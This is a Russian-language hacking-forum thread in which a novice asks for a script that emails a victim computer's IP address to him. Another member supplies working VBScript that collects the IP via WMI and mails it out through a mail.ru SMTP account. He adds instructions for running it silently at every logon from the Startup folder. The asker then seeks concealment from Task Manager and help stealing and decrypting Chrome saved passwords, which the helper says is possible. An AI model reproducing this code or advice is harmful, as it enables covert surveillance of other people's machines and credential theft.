Подскажите как написать батник для отправки ip на электронную почту

Discussion in 'Песочница' started by kurt135, 21 Dec 2016.

Page 1 of 3
  1. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.
     
    #1 kurt135, 21 Dec 2016
  2. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    293
    Likes Received:
    89
    Reputations:
    1
    Тут вопрос через чего твой батник будет отправлять на почту?) Например у "жертвы" не настроен OutLook
     
    #2 kacergei, 21 Dec 2016
  3. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    лучше на VBS запилить MAPI скриптег отправки
     
    #3 ComradKraken, 21 Dec 2016
  4. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Можно подробнее о сием действии .
     
    #4 kurt135, 21 Dec 2016
  5. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    как бы так:
    Code:
    Set emailObj    = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2 
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60     

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = "[email protected]"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = "tut_tvoy_parol"

emailObj.From     = "[email protected]"
emailObj.To       = "[email protected]"

emailObj.Subject  = "Tsdfsfsf"
emailObj.TextBody = "fffasdasdasd"

emailConfig.Fields.Update

emailObj.Send
     
    #5 ComradKraken, 22 Dec 2016
  6. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Спасибо за текст батника . Можно только уточнить :) Что вообще написано в этом тексте (коде ) ? В смыслы :) ip жерты будет отправляться при каждым включении компьютера ? Какая почта лучше работает с данным кодом (yandex.ru,google) ? Дополнительного по не нужно к данному коду ?
     
    #6 kurt135, 22 Dec 2016
  7. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    :):):)Вы уж прости новичка :):) Я не совсем в теме :) А что это ? Это разве код не для батника :):) ?? Код для VBS ?
     
    #7 kurt135, 22 Dec 2016
  8. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    нет, эт был пример для отправки мыла без всяких outlookов с левого ящика,
    ладно
    сначала заведи почту с которой отправка будет идти ( в этом примере скрипт настроен на отправку из "@mail.ru)

    вот это сохранять в *.vbs :
    Code:
    Dim myIPAddress : myIPAddress = ""
Dim objWMIService : Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Dim colAdapters : Set colAdapters = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
Dim objAdapter

For Each objAdapter in colAdapters
  If Not IsNull(objAdapter.IPAddress) Then myIPAddress = trim(objAdapter.IPAddress(0))
  exit for
Next

Dim RemoteSenderBoxName : RemoteSenderBoxName = "[email protected]" '  сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver  = "[email protected]"     '  сюда адрес почты куда получать ип собрался

Set emailObj      = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration
'Set emailConfig  = CreateObject("CDO.Configuration")

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120 

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd


emailObj.From     = RemoteSenderBoxName
emailObj.To       = MailReceiver

emailObj.Subject  = "ip addr"
emailObj.TextBody = myIPAddress

emailConfig.Fields.Update

emailObj.Send
    этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]
    Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку
    c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
     
    #8 ComradKraken, 22 Dec 2016
    Last edited: 22 Dec 2016
    Payer likes this.
  9. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Огромейшое спасибо !!! Не хочу показаться наглым :) возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?
     
    #9 kurt135, 22 Dec 2016
  10. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    не за что
    дочитай прошлое сообщение до конца, там указано что сделать чтобы
     
    #10 ComradKraken, 22 Dec 2016
  11. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]
    Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку
    c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\. ?? Ну , ложить данный файл в Startup мне кажется не очень хорошей идеей ,так как он будет висеть в диспетчере задач . Запустить из виндовой консоли через wscript ..прости, ЭТО КАК :) ? Как вообще можно добиться того :) чтобы ,и файл лежал в скрытом месте . и при этом :) выполнял те функции которые я описывал ранее (при каждом включение удаленного компьютера отправлял свое ip мне на почту)?
     
    #11 kurt135, 22 Dec 2016
  12. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    будет, пару секунд всего, отработает при логине и пропадёт из диспетчера, скорее всего еще до того как юзер сможет его увидеть
    в CMD или батнике пишешь "wscript %сюда путь к файлу vbs%"
    как спрятать уж сам придумай
     
    #12 ComradKraken, 22 Dec 2016
  13. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken : Спасибо еще раз ,добрый человек. Буду пробовать.
     
    #13 kurt135, 22 Dec 2016
  14. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    И еще :):) вопрос:):) не совсем по теме . Это :)можно :) так и пароли спи...и пиз....(которые сохроняются в google браузер и отпровлять и на мыло) с помощью таких вот:) скриптов,батников ?
     
    #14 kurt135, 22 Dec 2016
  15. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    можно
    но в браузере они хранятся зашифрованные
     
    #15 ComradKraken, 22 Dec 2016
  16. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: А расшифровывать их можно ? Или это нереально ?
     
    #16 kurt135, 22 Dec 2016
  17. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    #17 ComradKraken, 22 Dec 2016
    trolex and Turanchocks_ like this.
  18. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: По поводу скрипта :) он не тот ip снимает ( они как то делятся на внутренний и внешний ) ,нужен.. я так понимаю внешний ,который определяется в сети (на http://speed-tester.info/). Возможно отправлять сразу два ip , или лист с ipconfig ?
     
    #18 kurt135, 22 Dec 2016
  19. ComradKraken

    ComradKraken Member

    Joined:
    15 Dec 2016
    Messages:
    46
    Likes Received:
    36
    Reputations:
    3
    #19 ComradKraken, 22 Dec 2016
    shell_c0de likes this.
  20. kurt135

    kurt135 New Member

    Joined:
    30 Dec 2015
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    ComradKraken: Прости за наглость :) Я так и не понял , с этим можно что то сделать (чтобы от провлялся ip которому я могу подключится с любой точки)?
     
    #20 kurt135, 22 Dec 2016
(You must log in or sign up to post here.)
Page 1 of 3
Loading...
Similar Threads - Подскажите написать батник
  1. navai

    Подскажите шелл на PHP8, Linux 4

    navai, 16 Mar 2023, in forum: Песочница
    Replies:
    3
    Views:
    3,093
    navai
    20 Mar 2023
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.